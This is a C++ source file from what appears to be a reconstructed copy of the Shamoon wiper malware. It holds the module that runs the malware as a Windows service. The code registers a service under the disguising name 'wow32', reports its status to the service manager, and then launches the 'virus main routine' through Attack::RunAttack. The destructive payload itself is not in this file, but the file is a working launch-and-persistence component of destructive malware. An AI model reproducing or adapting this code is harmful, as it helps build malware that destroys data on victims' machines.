// Copyright 2015 Christian Roggia. All rights reserved.
// Use of this source code is governed by an Apache 2.0 license that can be
// found in the LICENSE file.

#include "Handler.h"

#include "Attack.h"

VOID Shamoon::Modules::Handler::ReportSvcStatus(DWORD dwCurrentState, DWORD dwWin32ExitCode, DWORD dwWaitHint)
{
    static DWORD dwCheckPoint = 1;

    // Fill in the SERVICE_STATUS structure.
    dwSvcStatus.dwCurrentState  = dwCurrentState;
    dwSvcStatus.dwWin32ExitCode = dwWin32ExitCode;
    dwSvcStatus.dwWaitHint      = dwWaitHint;

    if(dwCurrentState == SERVICE_START_PENDING)
        dwSvcStatus.dwControlsAccepted = 0;
    else
		dwSvcStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;

    if(dwCurrentState == SERVICE_RUNNING || dwCurrentState == SERVICE_STOPPED)
        dwSvcStatus.dwCheckPoint = 0;
    else
		dwSvcStatus.dwCheckPoint = dwCheckPoint++;

    // Report the status of the service to the SCM.
    SetServiceStatus(hSvcStatusHandle, &dwSvcStatus);
}

VOID WINAPI Shamoon::Modules::Handler::SvcCtrlHandler(DWORD dwCtrl)
{
	if(dwCtrl == SERVICE_CONTROL_STOP)
	{
		ReportSvcStatus(SERVICE_STOP_PENDING, NO_ERROR, 0);
		bSvcStopped = true;
		ReportSvcStatus(dwSvcStatus.dwCurrentState, NO_ERROR, 0);
	}
}

VOID WINAPI Shamoon::Modules::Handler::SvcMain(DWORD dwArgc, LPWSTR lpszArgv)
{
	hSvcStatusHandle = RegisterServiceCtrlHandlerW(L"wow32", SvcCtrlHandler);
	if(hSvcStatusHandle)
	{
		dwSvcStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
		dwSvcStatus.dwServiceSpecificExitCode = 0;
		
		ReportSvcStatus(SERVICE_START_PENDING, NO_ERROR, 3000);
		ReportSvcStatus(SERVICE_RUNNING, NO_ERROR, 0);
		
		// All is ready, start the virus main routine
		Shamoon::Modules::Attack::RunAttack(TRUE); 
		
		// The main routine has been interrupted, stop the service
		ReportSvcStatus(SERVICE_STOPPED, NO_ERROR, 0);
	}
}

VOID Shamoon::Modules::Handler::SvcSleep(DWORD dwSeconds)
{
	// Check every second if the service has been stopped
	for(; dwSeconds, !bSvcStopped; --dwSeconds)
		Sleep(1000); // Sleep one second
}